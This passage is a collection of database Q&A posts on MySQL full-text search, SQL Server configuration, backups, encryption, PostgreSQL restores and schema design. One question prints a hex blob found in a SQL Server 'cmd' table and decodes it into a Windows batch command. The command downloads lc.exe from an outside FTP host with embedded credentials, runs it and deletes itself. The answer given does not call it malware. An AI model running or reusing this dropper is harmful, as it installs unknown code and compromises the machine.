mysql> ALTER TABLE event ENGINE=InnoDB;
Query OK, 12 rows affected (0.51 sec)
Records: 12  Duplicates: 0  Warnings: 0

mysql> SELECT event.id AS eid,
       event.name AS ename
       FROM event
       WHERE MATCH(event.name) AGAINST('+W*' IN BOOLEAN MODE);
+-----+--------+
| eid | ename  |
+-----+--------+
|   8 | Watson |
|   9 | Watso  |
|  10 | Wats   |
|  11 | Wat    |
+-----+--------+
4 rows in set (0.00 sec)

Where the option to change is innodb_ft_min_token_size (ft_min_word_len is for MyISAM only).


Return only records with a date after the most recent September 1st I have a table with data with a date column called "dtAssessmentDate" in a table called "tblAssessmentRecords". What I want to achieve is for a select query to return only the records from that table where the date value is after the last September 1st.
For example, if the current date is #27/02/2021# then the query would return the records with any date after #01/09/2020# as that was the most recent September 1st in the past.
I can do this for a record after a fixed date with:
[dtAssessmentDate] > #01/09/2020#
but I need the fixed date to roll over as the years go on, so if the current date was 27/02/2022, the query would return records after #01/09/2021#

Answered my own question, leaving it here for refence for others as I couldn't find the solution anywhere else. By adding 4 months to the date from "dtAssessmentDate" I was able to make the range of values I needed to return as any date from a single year. I extracted the year I am looking for by doing the same 4 month addition to the current date, then using DatePart to exctract the year and only return records who's year matches the extracted year.
Expression in criteria box in access is:
DatePart("yyyy",DateAdd("m",4,[dtAssessmentDate]))=DatePart("yyyy",DateAdd("m",4,Date()))


How can I see a query after rules have been applied? From docs - 37.3.1.1. "A First Rule Step by Step"

CREATE TABLE shoelace_log (
    sl_name    text,          -- shoelace changed
    sl_avail   integer,       -- new available value
    log_who    text,          -- who did it
    log_when   timestamp      -- when
);

CREATE RULE log_shoelace AS ON UPDATE TO shoelace_data
    WHERE NEW.sl_avail <> OLD.sl_avail
    DO INSERT INTO shoelace_log VALUES (
                                    NEW.sl_name,
                                    NEW.sl_avail,
                                    current_user,
                                    current_timestamp
                                );

Now someone does:

(1) UPDATE shoelace_data SET sl_avail = 6 WHERE sl_name = 'sl7';

And the parser generates this additional query

(2) INSERT INTO shoelace_log VALUES (
       shoelace_data.sl_name, 6,
       current_user, current_timestamp )
  FROM shoelace_data
 WHERE 6 <> shoelace_data.sl_avail
   AND shoelace_data.sl_name = 'sl7';

The question is: Are there any tools to tell how the query (1) gets rewritten into (1) + (2)?

There is no direct way to see an SQL representation of the rewritten query, because the rewriting happens on an internal tree representation, and it's not easy to turn this back into SQL.  The closest thing is turning on the configuration parameter debug_print_rewritten, which prints a representation of that internal tree format to the server log.  If you use this in conjunction with the settings debug_print_parse and debug_print_plan (and possibly debug_pretty_print), you can see how the query is transformed through the various stages.  The format isn't easy to read, but if you are interested in learning the details of this, it will probably be worth it.


No suitable driver found Orientdb jdbc driver I have some problems with Orientdb driver for jdbc.
i´m using Netbeans, i have include the library JDBC+OrientDB libraries (orientdb-jdbc-2.0.8-all.jar) in the directory and in netbeans, i have also include the connector in the proyect (i have include the connector in the Classpath),
but i still have the same problem :

Exception in thread "main" java.sql.SQLException: No suitable driver found for jdbc:orient:remote:localhost/GratefulDeadConcerts
at java.sql.DriverManager.getConnection(DriverManager.java:689)
at java.sql.DriverManager.getConnection(DriverManager.java:208)
at Aconexion.AConexion.main(AConexion.java:15)
Java Result: 1
BUILD SUCCESSFUL (total time: 0 seconds)

my code:

package Aconexion;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Properties;
import com.orientechnologies.orient.jdbc.OrientJdbcConnection;
public class AConexion {
public static void main(String[] args) throws SQLException {

Properties info = new Properties();
info.put("user", "admin");
info.put("password", "admin");
Connection conn = (OrientJdbcConnection)
DriverManager.getConnection("jdbc:orient:remote:localhost/GratefulDeadConcerts", info);
try{

Class.forName("com.orientechnologies.orient.jdbc.OrientJdbcDriver");
Connection connection = (OrientJdbcConnection)
DriverManager.getConnection("jdbc:orient:remote:localhost/GratefulDeadConcerts", info);
}catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}

Apparently, the JDBC driver needs to be loaded before the connection is made by Class.forName("com.orientechnologies.orient.jdbc.OrientJdbcDriver").


New Database and it has a table `dbo.cmd` already I am creating a new database using the UI in SQL Server 2014 and when I open the tables it already has a table dbo.cmd as:

CREATE TABLE [dbo].[cmd](
    [a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

It also has one row inserted as:

0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974

I tried converting this into string and I got this:

@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit

After focusing on this I found out that its a bash script and I tried executing the bash script and I got a file lc.exe in my folder %systemroot%/Help/lc.exe, I have not yet executed the last command from the script:

lc.exe&del %0%&exit

What is this? I have tried searching for this but could not find anything. I have no idea what's happening here, how can I figure this out?

If your main question is  - why do you already have a table (with data) in a newly created database...?

All newly created Sql Server databases use the MODEL database as a template.  Therefore, I would expect to find dbo.cmd (with the data) already existing in the MODEL database.  Can you verify?

My guess is - someone in the past created dbo.cmd 'accidentally' in the MODEL database.


Why is the install of SQL Server 2012 in Windows Server 2012 taking over previously accessible hard drive's? This is a harder one to ask since I don't really have a clear picture of what I'm asking.

But, in a plain vanilla install of Windows Server 2012 (with only Web Server role/features enabled), installing SQL Server 2012 on top of it is taking over drive's (i.e. I get the "Access Denied" message when trying to open them up through explorer).

I have 3 drive's, C, D and E. During the installation of SQL Server 2012, I specify to install the core files to C:\Program Files... (i.e. the default destination), the temp database and tempdb log to D:\ (root) and the user databases and user db logs to E:\ (root). Before install, I can access the drives as expected but after the SQL Server 2012 installation completes I can no longer access the drives. i.e. Can't open them through explorer and the usage (space used) bar indicator doesn't display either.

Does anyone know what the cause of this is? Is it because I'm specifying installs to the root's of D and E (C still operates normally)? Is it something with SQL Server 2012 security? The install was done through an Admin account and I'm going back and trying to access the drive's through an Admin account.

It doesn't inhibit the actual usage of the database or creating new databases, as everything seems to function properly, it just bugs me that this is happening and don't want to use this for a production web machine (used just for IIS 8 and SQL Server) until I at least get a better understanding of this.

Any clarification is greatly appreciated.

Oops... should mark this as answered.

The issue simply was specifying the root of the drive. Don't do that.

When specifying a folder in that drive, all is well.


Domain Controller on Multi Subnet Always on Availability Group This is will be my first big project. We have 4 Replica Always on availability group  with 3 Replica on site and another replica offsite (different subnet) the File share witness will be placed on site on the primary data center. On various online resources i saw that we need 2 Domain controllers one onsite and the other one on the Disaster Recovery site. My question is what will be the  problems that i will face if all the replicas are joined to one Domain controller .

Suppose if the Primary site goes down the server on the DR will still be able to used cached credentials.

The distance between Primary and Disaster Recovery site only 20 Miles !

Any advice on this will be highly appreciated.

Suppose if the Primary site goes down the server on the DR will still be able to used cached credentials.

Assuming the DCs and the rest of your infrastructure will fail over to DR by some other means, your DR SQL Server may not be usable until that happens.  So the AG will give you a  very good Recovery Point Objective (RPO), but the Recovery Time Objective (RTO) won't be any better than a VM failover.


Can I control which algorithm SQL Server uses to hash symmetric key passphrases I will start by describing the issue / cause before asking my question:

If you are using a symmetric key in SQL to encrypt data.
This can be set up as follows:

CREATE MASTER KEY ENCRYPTION BY PASSWORD='password';
CREATE CERTIFICATE My_Certificate AUTHORIZATION [dbo] WITH SUBJECT = 'My Certificate'
CREATE SYMMETRIC KEY My_Key AUTHORIZATION [dbo] ENCRYPTION BY PASSWORD='CertificatePassword' WITH IDENTITY_VALUE = 'My Key', ALGORITHM = AES_256, KEY_SOURCE = '12345-AABB-1234-BBAA' ENCRYPTION BY CERTIFICATE My_Certificate;My_Certificate

This can then be used with the de/encryptbykey function(s) to encrypt data or vise-versa.

The issue is that data encrypted on SQL Server 2016 (or a previous version) is not accessible if moved to SQL Server 2017 (after re-applying the certificate that is).

This looks to be an issue with SQL Server 2017, See: https://support.microsoft.com/en-us/help/4053407/sql-server-2017-cannot-decrypt-data-encrypted-by-earlier-versions

And the suggested fix is to ensure you have CU2 installed and to globally enable trace-flag #4631

My question is:  Is it possible (and if so how) to specify which hashing algorithm should be used.

For instance, can I tell SQL to use sha2_256 for example when encrypting my certificate?

For instance, can I tell SQL to use sha2_256 for example when encrypting my certificate?

Unfortunately this is currently not possible or exposed via the CREATE CERTIFICATE DDL. From the documentation you can see:

 ... SQL Server 2017 uses the SHA2 hashing algorithm to hash the passphrase.
SQL Server 2016 and earlier versions of SQL Server use the SHA1 algorithm ...

  And the suggested fix is to ensure you have CU2 installed and to globally enable trace-flag #4631

That is correct, in fact I put in the request for that TF to be made available.

  Perhaps it is possible to do something like: decrypting all of the data, re-creating the certificate and then re-encrypting everything. - As we are sceptical about relying on trace-flags

You could do a backup and restore from 2016 to 2017, which we tested and worked without issue (for the tests we ran) instead of migrating the symmetric key. You could also decrypt everything in 2016 as you say, load it into 2017 and create a new key in 2017 but that would be a bit over the top to not use a trace flag for was is literally less than a second of wall clock time.

  Also, do you have any more information about TF4631, I have been unable to locate any official documentation from Microsoft which describes this flag / what it does / how it behaves

The KB article you linked has the most information, I did write a blog post about it before CU2 came out (note that I haven't updated it since CU2 did come out so the Azure part may be incorrect as of today). In general, though, it doesn't go into the details of what the TF does. The TF changes the use to the older hashing algorithm (2012-2016 implementation) while it is enabled. That's why all you need to do is enable it, create the key, then immediately disable it.


Pros and cons of having one table per entity vs. having a shared table with an extra column indicating the entity type I am working on a database design and am wondering about the pros and cons of two setups. I am going to collect data about two types of entities, lets say cars and boats. The structure of the data will be the same (at least for now). There will be 10s of millions of rows. I could either:

create one table for boats and one for cars, or
create one table for both with an extra column indicating whether it's a boat or a car record

The second option would obviously mean I would need to write my procedures twice but perhaps there are good reasons for doing this, like keeping the number of rows smaller per table which might help in performance.

Which approach would perform better? Which approach is more appropriate from a design standpoint?

The only thing I'll add is that I find it easier to split later than combine later. Depending on what type of information you are looking at about Boats or Cars and how many points you care about and what you are doing with the data (To @JackDouglas's point about needing more specifics to give specific advice) maybe you won't need them combined, maybe you will. If you aren't sure and can design with them combined and are leaning that way, it is worth a try and testing knowing that someday you may have to split them out. Won't make refactoring easy, but IMO it would be easi*er* than trying to combine the data, if only by a little.


SQL Server listen on a specific port I want to change the PORT to 255:

can i change per db or just for instance?
is there any issue can come up?
have to restart the service?

You can specify the port SQL Server listens on for each IP address it is listening on, but not per database.  To change an existing installation of SQL Server, run SQL Server Configuration Manager, expand SQL Server Network Configuration, and select Protocols for MSSQLSERVER in the left pane.  Then right-click on TCP/IP in the right pane and select Properties.  On the IP Addresses tab, change the TCP Port for each address as desired.

You will need to restart the service for the change to take effect.

Most SQL Server clients will use port 1433 by default, so if you use a different port, clients will have to be configured to designate the port SQL Server is listening on.

One of the issues that can occur with specifying an alternate port is that another application is already using that port, or RPC may grab that port before SQL Server starts up.  Google "rpc dynamic port range" to research that.  So if you configure SQL Server to use a port that is in the range that RPC uses, SQL Server may start one time, but not the next.  Use the netstat command to see what ports are in use on the server, and review documentation of installed applications to ensure you don't select a port that your applications are using.  Just because you don't see it in use in netstat doesn't mean the application doesn't use it itermittently--not likely, but possible.

Also, firewall rules on client, server, and network devices that allow port 1433 may need to be modified or added to so that the port of your choice will not be blocked.


Thought about this SQL Server backup plan? I just started a new job, and I'm reviewing the database maintenance plan.  I've got quite a bit of experience writing SQL, but not much experience with DB administration.  My last job was at a large company, and they didn't let regular people touch that sort of stuff.

We are locked into SQL Server 2000 (it's embedded in some quite old software and we can't upgrade yet).  The current maintenance plan (Full Recovery model) does the following:

Every hour from 6am - 11pm:

  backup log Accounting to Accounting_Logs with noinit

Every night at 1am, this happens:

  backup Log Accounting WITH TRUNCATE_ONLY
  DBCC SHRINKDATABASE (Accounting, TRUNCATEONLY)
  backup database Accounting_ReadOnly to Accounting with init

Then at 3am:

  all the indexes are rebuilt

Is this a decent plan?  Will this give us good backups that are easy to recover?  I know I'm asking for a lot, but any thought/comments/suggestions would be appreciated.

Please let me know if you need more information.  Thanks!

While this is functional, there's some holes in here that will make it difficult for to recover in the event of a problem:

I'm not sure what the device is your backing up to for your logs, but based on what I'm seeing here, you're appending all your log backups to the same file/device for all your log backup actions.  This can be cumbersome to manage and can cause you storage issues.
The BACKUP LOG ... WITH TRUNCATE_ONLY is redundant and can possibly cause you data loss.  Your log truncation occurs after every log backup, so that should be sufficient to manage your log, though you should consider scheduling your log backups for every hour 24/7 instead of just 6 AM-11 PM.
Your full backup with it's current syntax will overwrite your previous backup every run, so unless your saving that backup off to tape between the full backup runs, you will not be able to restore previous to your last full backup.
Shrinking databases regularly is VERY bad practice, for a variety of reasons.  Paul Randal talks more about it here.

In general, it looks like your backup/maintenance plan is as follows:

Execute a full backup nightly (1 AM)
Execute transaction log backups every hour
Rebuild fragmented indexes nightly

This is a solid enough plan, it looks like you just need to fill in some of the gaps.  Unfortunately, backup/restore is far to large a topic to cover here.  I recommend you read about this at SQLServerPedia(now ToadWorld).  Since you're committed to SQL 2000, this limits you to making use of some of the currently existing tools out there.  However, plenty of code examples exist to fine tune and polish your currently existing code.

As for index fragmentation, without seeing your code, I can't comment to any possible issues with it.  If it's been working fine up until now, there's probably no issues there, but you can read more about managing this up on MSDN.


How to check whether old MDF and LDF files are referenced I inherited a setup, and I'm rather new with DB work. I've got a drive on my production server that was created during a big crisis a few years ago at my company. Crisis was navigated and everything restored. But this drive on my has 70 LDF and MDF files sitting in it from that recovery. Is there a quick and easy way to determine if any of these things are being referenced or used? I just don't know what the last DBA here might have used them for afterward.

The Date Modified dates are all from the crisis period, early 2016. Nothing since.

Thanks.

Use SysInternals' Handle utility to view open handles to the file.  That will tell you succinctly and definitely if any process running on the machine in question has those files open.

As an example, on my dev machine, if I run this in a command-prompt:

C:\Users\xxxx\Downloads\Handle_> handle D:\SQLServer\MV2012\Data\CharSizeTest.mdf

I see this output:

Handle v3.51
Copyright (C) 1997-2013 Mark Russinovich
Sysinternals - www.sysinternals.com

sqlservr.exe       pid: 4028   type: File      B2C: D:\SQLServer\MV2012\Data\CharSizeTest.mdf

In the above, you can see sqlserver.exe has an open handle to the .mdf

Notice, this doesn't guarantee you can delete the file; it will simply show you if anything has the file in question open.

Prior to deleting anything, I take a backup of the file in question so that I can recover them if needed.  I scheduled that backup for deletion in, say, 6 months.

You can check for databases or individual files that are offline via the SQL Server instance, using this query:

SELECT  DatabaseName = d.name
    , DatabaseState = d.state_desc
    , FileName = mf.name
    , FileState = mf.state_desc
    , FilePath = mf.physical_name
FROM sys.master_files mf
    INNER JOIN sys.databases d ON mf.database_id = d.database_id
WHERE mf.state_desc <> 'ONLINE'
    OR d.state_desc <> 'ONLINE'
ORDER BY d.name
    , mf.name;

For an offline database, the output looks like:

╔══════════════╦═══════════════╦══════════════════╦═══════════╦═══════════════════════════════════════════════╗
║ DatabaseName ║ DatabaseState ║     FileName     ║ FileState ║                   FilePath                    ║
╠══════════════╬═══════════════╬══════════════════╬═══════════╬═══════════════════════════════════════════════╣
║ CharSizeTest ║ OFFLINE       ║ CharSizeTest     ║ ONLINE    ║ D:\SQLServer\MV2012\Data\CharSizeTest.mdf     ║
║ CharSizeTest ║ OFFLINE       ║ CharSizeTest_log ║ ONLINE    ║ D:\SQLServer\MV2012\Logs\CharSizeTest_log.ldf ║
╚══════════════╩═══════════════╩══════════════════╩═══════════╩═══════════════════════════════════════════════╝


SQL Query Against Previous SQL Query Results Is there an SQL database (for C#) that allows me to query against on-disk database and then later on (probably offline at client side) query against the in-memory result set using SQL?

I basically want to always be able to SQL query against whatever comes from a previous SQL query whether on-disk or in-memory.

I'm talking about CRUD queries only.

Thanks!

Background:

This will be used for general adhoc client-side queries at run-time against previous query results and it is also suitable for caching purposes but that is not the main concern here. And yes I need SQL or TSQL.

In your opinion guys what is the performance cost to save a DataSet(s) into an in memory database (say embedded SQL Server) for this purpose?

I have a feeling LINQ is the best way to go but if you want to use TSQL on both the database and your in-memory datatable you could try this in-memory SQL engine.


SQL Server '12 Using RAM equal to 2x size of the only user database Only user database on instance is ~8.5GBs.
MAX Mem set to 16GBs, which is ALL being consumed.
Virtual server has 24GBs RAM and 2 vcpus
Insert Poltergeist meme "What's happening?!"

***Side notes****
2 vcpus have low avg utilization(<50%).
Server hosts app (using ~500MBs of RAM).
Indexes are rebuilt based on size(page count >= 1000) and avg_fragmentation(>=50%).
Thought Tempdb may be issue but not seeing wait stats to indicate.
Top 10 expensive queries aren't using much CPU, RAM(logical reads), or being executed over and over.
Wait stats show ASYNC_IO almost with 1-to-1 wait count per second, but these are coupled with high wiats for backup related waits...

SQL Server will never ever ever give back any memory that it uses unless pressure is exerted on the service by the operating system. It's designed that way intentionally to do as much processing in memory as possible to prevent disk I/O.

In the comments above there's a linked article to A Sysadmin’s Guide to Microsoft SQL Server Memory which contains some good information explaining the specific use cases and behavior that you can expect. Generally though it's best to remember that the structure of data held in the SQL buffer cache is based on performance, not resource conservation. Make sure your maximum memory is set appropriately for your environment and needs.

If you are running SQL Server in a virtual environment where you are trying to reduce the amount of memory on an ongoing basis then you will need to use a balloon driver or other utility to exert memory pressure on the instance.

For performance purposes if you are seeing a sudden flood of complaints it's possible that the SQL instance is running out of memory and is paging to disk, which will result in a very significant performance hit. There are multiple recommendations, but my personal preference is to not use a page file at all which will result in certain crash dumps not being returned in the event of a windows fault.


Can you restore a ScyllaDB from only a backup of /var/lib/scylla/data folder? I had a single node scyllaDB which was lost, but only a backup of the /var/lib/scylla/data folder was done.
My question is, can a single node scylla be restored from only this backup? I already checked and the files don't contain any snapshots

All user data keyspace/s + system keyspaces (system_auth, system_schema and others) reside under /var/lib/scylla/data.
So if you have a backup of /data folder (with all it's subfolders -> tables, and sstables files etc.)
You should defenetly be able to restore your cluster with it's data.
You will need to recreate the cluster's /var/lib/scylla/scylla.yaml
The part about "no snapshots" is not clear...


How to select one row from a table and sum another table I have this minimal example in Oracle DB

create table a (name varchar2(10));
create table b (x number, y number);

and I wish to do this

select (select name from a where rownum <=1), sum(x) from b;

but I get

ORA-00937: not a single-group group function

How can I get the result I want, that is, name from table a and sum from b?

Edit (add example)

Table A

name
=====
foo
bar

Table B

x    y
=======
1    2
10   20

Should give

foo 11

select
  a.name,
  b.sumx
from
  (select name from a where rownum <=1) a,
  (select sum(x) as sumx from b) b
;


How to change date format using SQL? I have column with strings of dates with format: "dd.mm.yyyy".
I need to convert the date format contained in the strings to ISO8601 format: "YYYY-MM-DD" for the whole column.

String manipulation seems to way to go here:

UPDATE myTable
  SET myDate = SUBSTR(myDate, 7, 4)
     || '-' || SUBSTR(myDate, 4, 2)
     || '-' || SUBSTR(myDate, 1, 2)


Schema design for products with redundant values so I was looking some design schemes for storing a Product's quantity of a certain color and variant sizes, @Gilbert Le Blanc gives the perfect scheme for me as answered in this question, and the scheme goes as follows:

Product table.

Product

  id    product
------ ------------
   0    Nike Shirt

Color table

Color

  id    color
------  -------
   0    black
   1    white
   2    blue

Size table

Size

  id   size
------ -----
   0    XS
   1    S
   2    M
   3    L
   4    XL
   5    XXL

Stock table

Stock

  id    product       color    size   quantity
---------------------------------------------
   0        0           0        2       5
   1        0           1        3      10
   2        0           2        2       2
   3        0           2        4       3

This works perfectly well, my issue is: some times a product(e.g. black and white patterned T-shirt) can be categorized as black as well as white!! so we will end up with multiple records in Stock table for the same product! -see tables below for more clearance-

Product

  id    product
------ ------------
   0    patterned T-Shirt

Color

  id    color
------  -------
   0    black
   1    white

Stock

  id    product       color    size   quantity
---------------------------------------------
   0        0           0        2       5
   1        0           1        2       5

This will causes table Stock to be inaccurate in terms of quantity, I need the product to have more than one color if need for sorting purposes in the UI(user-end/Front-end) and I also want to keep track of the quantity of each color along with the sizes.

I am thinking of creating a separate table that includes the product along with all colors that it can be categorized in. this table will be meant for sorting purposes only. this is a great solution except that it will require more data-entry.

Is there any other way around?!

Add to the color table 'black,white' as this is predominately a stock control system.

This comma separation can be handled in the UI to display in a friendly way.


Restore Postgres 9.0 backup into Postgres 9.3 I'm having a problem restoring my Postgres 9.0 database into a 9.3 version.

I did the backup with this command:

pg_dump -U user database -f /root/mydb.sql

And when I send the backup to the new server and try to restore it I get this error:

psql.bin:/root/mydb.sql:5628157: invalid command \n
psql.bin:/root/mydb.sql:5628158: invalid command \n
psql.bin:/root/mydb.sql:5628159: invalid command \n
psql.bin:/root/mydb.sql:5628160: invalid command \n
psql.bin:/root/mydb.sql:5628161: invalid command \n
psql.bin:/root/mydb.sql:5628162: invalid command \n
psql.bin:/root/mydb.sql:5628163: invalid command \n
psql.bin:/root/mydb.sql:5628164: invalid command \n
psql.bin:/root/mydb.sql:5628165: invalid command \n
psql.bin:/root/mydb.sql:5628166: ERROR:  syntax error at or near "PageRange"
LINE 1: PageRange=1-2</PARAMETERS><image_type>high</image_type></SPO...
        ^
psql.bin:/root/mydb.sql:5628166: invalid command \n
psql.bin:/root/mydb.sql:5628167: invalid command \n
psql.bin:/root/mydb.sql:5628168: invalid command \n
psql.bin:/root/mydb.sql:5628169: invalid command \n
psql.bin:/root/mydb.sql:5628170: invalid command \n
psql.bin:/root/mydb.sql:5628171: invalid command \n
psql.bin:/root/mydb.sql:5628172: invalid command \n
psql.bin:/root/mydb.sql:5628173: invalid command \n
psql.bin:/root/mydb.sql:5628174: invalid command \n
psql.bin:/root/mydb.sql:5628175: invalid command \n
psql.bin:/root/mydb.sql:5628176: invalid command \n
psql.bin:/root/mydb.sql:5628177: invalid command \n
psql.bin:/root/mydb.sql:5628178: invalid command \n
psql.bin:/root/mydb.sql:5628179: invalid command \n
psql.bin:/root/mydb.sql:5628180: invalid command \n
psql.bin:/root/mydb.sql:5628181: invalid command \n
psql.bin:/root/mydb.sql:5628182: invalid command \n
psql.bin:/root/mydb.sql:5628183: invalid command \n
psql.bin:/root/mydb.sql:5628184: invalid command \n
psql.bin:/root/mydb.sql:5628185: invalid command \n
psql.bin:/root/mydb.sql:5628186: invalid command \n
psql.bin:/root/mydb.sql:5628187: invalid command \n
psql.bin:/root/mydb.sql:5628188: invalid command \n
psql.bin:/root/mydb.sql:5628189: invalid command \n
psql.bin:/root/mydb.sql:5628190: invalid command \n
^CCancel request sent
psql.bin:/root/mydb.sql:5628191: ERROR:  syntax error at or near "n"
LINE 1: n Berrocal_Ausonia3.psd</name><type>Foto_ALTA</type><mimetyp...

I'm trying to restore the database with this command:

psql -U user -d database -f /root/mydb.sql

When the restore finish I could see that there are a lot of information that doesn't exist so it's a big problem !

Can anybody help me?

Thanks a lot !

So...

Does any of the data structure exist?

I could be wrong but it may be that your backup format. It depends on how you backed up, using pg_dump etc.

try using pg_restore filename -d database

pg_restore /root/mydb.sql -d database

It could also be the database encoding.

The database you are dumping into, what encoding is it?

UTF-8, SQL_ASCII ?

try
createdb database -E utf-8

then
psql -f /root/mydb.sql -d databse


How to correct SQL-Server installation with wrong language? What is the best way to re-install a SQL Server that was installed using a wrong language without losing any configuration?

Should I install a second instance parallel to the default instance - here I do not know if this is anyhow possible at all if using a different language?
Or should I install a second installation of Sql Server (as if it were two different Versions)?
Alternatively I could of course uninstall the old and install a new Sql Server using the correct language.

Independent of the way to go, as you can imagine, I definitely want to avoid doing all the maintenance work for creation of Logins, Users, Permissions, Alerts, Operators, Jobs etc. again. Is there a good approach to achieve this?

This can be done from the SSMS GUI.  Right click on the instance in object explorer and go to properties.

From there navigate to the Advanced page.

There is a drop down item there for Default Language.

Alternatively, if you know the language code you can do it via tsql

EXEC sp_configure 'default language', 0 ;
GO
RECONFIGURE ;
GO

where 0  is English in this case.

See https://msdn.microsoft.com/en-GB/library/ms190682.aspx

You may also need to update or change the default language of logins via their properties page.


BI and Self Service Reporting Tools that Support Web (HTML) Interface? Hopefully a simple question.  What BI tools (commercial or OSS) support self-service reporting or self-service BI via an HTML web interface?

I specified HTML because I know of at least one that can do it via the web, but only in Silverlight.

Pentaho.

There's Jaspersoft too, but I found Pentaho a little more useful, though Japser is prettier.


Using OFFSET in a large table by a simple sub-query The slow performance for using OFFSET in large table has been widely discussed in various blogs, and the most efficient way is to use an INNER JOIN as

SELECT *
FROM table
INNER JOIN (
SELECT id
FROM table
LIMIT 10 OFFSET 100000)
AS results USING(id);

but I wonder what is the bennefit of INNER JOIN over a simple sub-query as

SELECT *
FROM table
WHERE id >
(SELECT id
FROM table
LIMIT 1 OFFSET 100000)
LIMIT 10;

or more convenient

SELECT *
FROM table
WHERE id IN
(SELECT id
FROM table
LIMIT 10 OFFSET 100000);

In the following example, the ORDER BY is assumed the primary key, but obviously other orders or even WHERE clause can be added. My question is about comparison in performance of INNER JOIN or a simple sub-query`.

In your particular case, I would use LEFT JOIN instead. Why?
In a LEFT JOIN query, you can dictate what keys you want and the order you want to fetch and join, while INNER JOIN lets the MySQL Query Optimizer decide which is best. In some cases, the EXPLAIN plan may look horrible but still give good performance.
Instead of
SELECT *
FROM table
INNER JOIN (
SELECT id
FROM table
LIMIT 10 OFFSET 100000)
AS results USING(id);

flip the query to have the keys first
SELECT B.*
FROM (SELECT id FROM table LIMIT 10 OFFSET 100000) A
LEFT JOIN table B USING (id);

From there, you can control the order by inside in subquery A
SELECT B.*
FROM (SELECT id FROM table LIMIT 10 OFFSET 100000 ORDER BY ...) A
LEFT JOIN table B USING (id);

or after USING (id)
SELECT B.*
FROM (SELECT id FROM table LIMIT 10 OFFSET 100000) A
LEFT JOIN table B USING (id)  ORDER BY ...;

This way, you should be able to navigate (or paginate) through the keys before locating actual data. To show this using empirical evidence, see my StackOverflow post (Fetching a Single Row from Join Table) on using LEFT JOIN with primary keys.
Give it a Try !!!


How to get YAML Python Library in PostgreSQL I would like to use YAML in some plpython code, but YAML is not included in the python3 extension for PostgreSQL.

My 'import yaml' gets an error that it cannot find yaml.

On my regular Python3 install I did 'pip3 install yaml' which worked fine.

How can I get yaml installed into PostgreSQL?

Thanks.

Some more info for clarification:

Here is the start of a function defined in PG:

-- Default audit trigger
create or replace function sys_audit() returns trigger language plpython3u AS $$
  from sys import path
  path.append('/usr/local/lib/ez-python-library/PostgreSQL/bin');

  from datetime import datetime
  from CommonRowFunctions import getPkValue, getRowValue, getRowChanges

  keyVal    = ''
  modData   = 'unknown'
...

The module 'CommonRowFunctions' tries to use YAML to configure logging. This module lives in my python library (external to PostgreSQL). This all works if I use a properties file for the log config, but using a dictionary is the preferred method and YAML makes that very easy.

This is a problem specific to EnterpriseDB. PostgreSQL does not ship Python, it merely ships a contrib module which your distribution is set to build against the system's Python. In the case of Windows, there is no Python for them to build against because there is no distribution. You can get any version of Python when you download "python" (more properly cpython). So instead, EnterpriseDB bundles a version of Python they provide as a distribution of PostgreSQL. Previously, that were bundling a statically linked Active State Python, now they're bundling cPython 3.3 (which they can dynamically link in). This is all from the docs here.

To configure your system to use EnterpriseDB Python though, you need to first follow a few steps. From the docs on configuration

  After installing Language Pack, you must set the following variables:
  set PYTHONHOME=C:\edb\languagepack-9.6\x64\Python-3.3

  Use the following commands to add Python, Perl and Tcl to your search path:

set PATH= C:\edb\LanguagePack-9.6\x64\Python-3.3\bin: C:\edb\LanguagePack-9.6\x64\Perl-5.20\bin: C:\edb\LanguagePack-9.6\x64\Tcl-8.5\bin:%PATH%

  After setting the system-specific steps required to configure Language Pack on Windows, restart the Advanced Server database server; see Section 5 for detailed information about restarting the server.

There are similar instructions provided for Linux and OSX

After you configure that pip and easy_install should work fine.


Double entry bookkeeping database design I'm creating accounting software. I need to enforce double entry bookkeeping. I have the classical problem of one row per transaction versus two rows.

Let's take an example and see how it would be implemented in both scenarios.

Consider account Cash and account Rent. When I pay my monthly rent, I transfer $100 from my Cash account to me Rent account.

One row per Transaction

In a one row system, such transaction would be stored as:

transactions

 tx_id | posting_date
 1     | 23/05/2015

transaction_records

 id | tx_id | credit_account | debit_account | amount
 1  | 1     | Cash           | Rent          | 100.00

Two rows per Transaction

In a two row system, I'd have to mirror the same transaction record to create an opposite record that once I sum up both, I'd get zero balance.

transactions

 tx_id | posting_date
 1     | 23/05/2015

transaction_records

id  | tx_id | type   | account | amount
1   | 1     | credit | Cash    | 100.00
2   | 1     | debit  | Rent    | 100.00

The problem

First of all I'd like to note: the reason I have both transactions and transaction_records tables (instead of one table) is to be able to handle split transactions (a case where I transfer $100 from Cash account to two or more different accounts).

At first I tried to implement this with one row per transaction, but its a pain to calculate the account balance, and to actually retrieve the data.

I'm leaning towards the second scenario; however, it also has some issues:

How do I update a single record? Assuming I've made a mistake and instead of recording $100 for my rent, I've recorded $10. I now have 2 transaction_records - one for credit and one for debit, both with amount $10.
Now I do my reconciliation and I want to fix this typo. How would I fix this in the database? I don't know the connection between records, and in case of a split, one transaction can have more than 2 records. The only solution I came up with is to add some ref_id for each records pair that will uniquely identify those records as being the "opposite sides of each other" inside a context of a specific tx_id.

Which approach is better/simpler?

To simplify my question: I want to represent a movement of funds from account A to account B. The two scenarios I gave are both valid designs to store such transaction. As I also pointed out they both have cons & pros (first one: easier to save, harder to retrieve; second one the opposite).

They might have other pros/cons that I do not spot right now, hence I ask an opinion from more experienced people.

A Journal is a chronological listing of all transactions of a specified type for an accounting system. Here is a classical presentation on ledger paper of a simple Sales (on Account) Journal:

Note that every line is a single transaction, with Total Debits = Total Credits; and that every transaction hits the same three accounts. A Cash Sales Journal would look similar but replace the column Accounts Receivable Debit with one labelled Cash Debit. A Cash Disbursements Journal would have a first column labelled Cash Credit and additional columns such as Accounts Payable Debit and Employee Expenses Debit.

